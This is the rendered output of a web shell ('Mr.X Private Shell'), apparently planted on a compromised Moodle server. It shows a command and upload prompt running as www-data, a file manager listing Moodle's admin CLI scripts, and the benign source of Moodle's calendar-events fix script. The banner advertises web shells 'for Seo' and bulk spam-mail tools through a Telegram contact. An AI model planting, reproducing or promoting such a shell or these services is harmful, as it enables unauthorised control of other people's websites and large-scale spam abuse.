__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Fix orphaned calendar events that were broken by MDL-67494.
 *
 * This script will look for all the calendar events which userids
 * where broken by a wrong upgrade step, affecting to Moodle 3.9.5
 * and up.
 *
 * It performs checks to both:
 *    a) Detect if the site was affected (ran the wrong upgrade step).
 *    b) Look for orphaned calendar events, categorising them as:
 *       - standard: site / category / course / group / user events
 *       - subscription: events created via subscriptions.
 *       - action: normal action events, created to show common important dates.
 *       - override: user and group override events, particular, that some activities support.
 *       - custom: other events, not being any of the above, common or particular.
 * By specifying it (--fix) try to recover as many broken events (missing userid) as
 * possible. Standard, subscription, action, override events in core are fully supported but
 * override or custom events should be fixed by each plugin as far as there isn't any standard
 * API (plugin-wise) to launch a rebuild of the calendar events.
 *
 * @package core
 * @copyright 2021 onwards Simey Lameze <simey@moodle.com>
 * @license    https://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

define('CLI_SCRIPT', true);

require_once(__DIR__ . '/../../config.php');
require_once($CFG->libdir . "/clilib.php");
require_once($CFG->libdir . '/db/upgradelib.php');

// Supported options.
$long = ['fix'  => false, 'help' => false];
$short = ['f' => 'fix', 'h' => 'help'];

// CLI options.
[$options, $unrecognized] = cli_get_params($long, $short);

if ($unrecognized) {
    $unrecognized = implode("\n  ", $unrecognized);
    cli_error(get_string('cliunknowoption', 'admin', $unrecognized));
}

if ($options['help']) {
    $help = <<<EOT
Fix orphaned calendar events.

  This script detects calendar events that have had their
  userid lost. By default it will perform various checks
  and report them, showing the site status in an easy way.

  Also, optionally (--fix), it wil try to recover as many
  lost userids as possible from different sources. Note that
  this script aims to process well-know events in core,
  leaving custom events in 3rd part plugins mostly unmodified
  because there isn't any consistent way to regenerate them.

  For more details:  https://tracker.moodle.org/browse/MDL-71156

Options:
  -h, --help    Print out this help.
  -f, --fix     Fix the orphaned calendar events in the DB.
                If not specified only check and report problems to STDERR.

Usage:
  - Only report:    \$ sudo -u www-data /usr/bin/php admin/cli/fix_orphaned_calendar_events.php
  - Report and fix: \$ sudo -u www-data /usr/bin/php admin/cli/fix_orphaned_calendar_events.php -f
EOT;

    cli_writeln($help);
    die;
}

// Check various usual pre-requisites.
if (empty($CFG->version)) {
    cli_error('Database is not yet installed.');
}

$admin = get_admin();
if (!$admin) {
    cli_error('Error: No admin account was found.');
}

if (moodle_needs_upgrading()) {
    cli_error('Moodle upgrade pending, script execution suspended.');
}

// Do everything as admin by default.
\core\session\manager::set_user($admin);

// Report current site status.
cli_heading('Checking the site status');
$needsfix = upgrade_calendar_site_status();

// Report current calendar events status.
cli_heading('Checking the calendar events status');
$info = upgrade_calendar_events_status();
$hasbadevents = $info['total']->bad > 0 || $info['total']->bad != $info['other']->bad;
$needsfix = $needsfix || $hasbadevents;

// If, selected, fix as many calendar events as possible.
if ($options['fix']) {

    // If the report has told us that the fix was not needed... ask for confirmation!
    if (!$needsfix) {
        cli_writeln("This site DOES NOT NEED to run the calendar events fix.");
        $input = cli_input('Are you completely sure that you want to run the fix? (y/N)', 'N', ['y', 'Y', 'n', 'N']);
        if (strtolower($input) != 'y') {
            exit(0);
        }
        cli_writeln("");
    }
    cli_heading('Fixing as many as possible calendar events');
    upgrade_calendar_events_fix_remaining($info);
    // Report current (after fix) calendar events status.
    cli_heading('Checking the calendar events status (after fix)');
    upgrade_calendar_events_status();
} else if ($needsfix) {
    // Fix option was not provided but problem events have been found. Notify the user and provide info how to fix these events.
    cli_writeln("This site NEEDS to run the calendar events fix!");
    cli_writeln("To fix the calendar events, re-run this script with the --fix option.");
}

Filemanager

Name Type Size Permission Actions
adhoc_task.php File 5.06 KB 0777
alternative_component_cache.php File 3 KB 0777
automated_backups.php File 2.67 KB 0777
backup.php File 4.71 KB 0777
build_theme_css.php File 3.35 KB 0777
cfg.php File 6.5 KB 0777
check_database_schema.php File 1.89 KB 0777
checks.php File 4.62 KB 0777
cron.php File 5.25 KB 0777
dashboard_reset.php File 1.74 KB 0777
delete_course.php File 3.58 KB 0777
emailstop.php File 6.24 KB 0777
fix_course_sequence.php File 4.28 KB 0777
fix_deleted_users.php File 3.29 KB 0777
fix_orphaned_calendar_events.php File 5.23 KB 0777
fix_orphaned_question_categories.php File 3.45 KB 0777
generate_key.php File 2.42 KB 0777
import.php File 4.8 KB 0777
install.php File 31.12 KB 0777
install_database.php File 6.83 KB 0777
kill_all_sessions.php File 1.54 KB 0777
maintenance.php File 3.62 KB 0777
mysql_collation.php File 12.37 KB 0777
mysql_compressed_rows.php File 6.53 KB 0777
purge_caches.php File 2.45 KB 0777
reset_password.php File 3.17 KB 0777
restore_backup.php File 4.66 KB 0777
scheduled_task.php File 6.06 KB 0777
svgtool.php File 5.05 KB 0777
uninstall_plugins.php File 6.2 KB 0777
upgrade.php File 12.82 KB 0777
Filemanager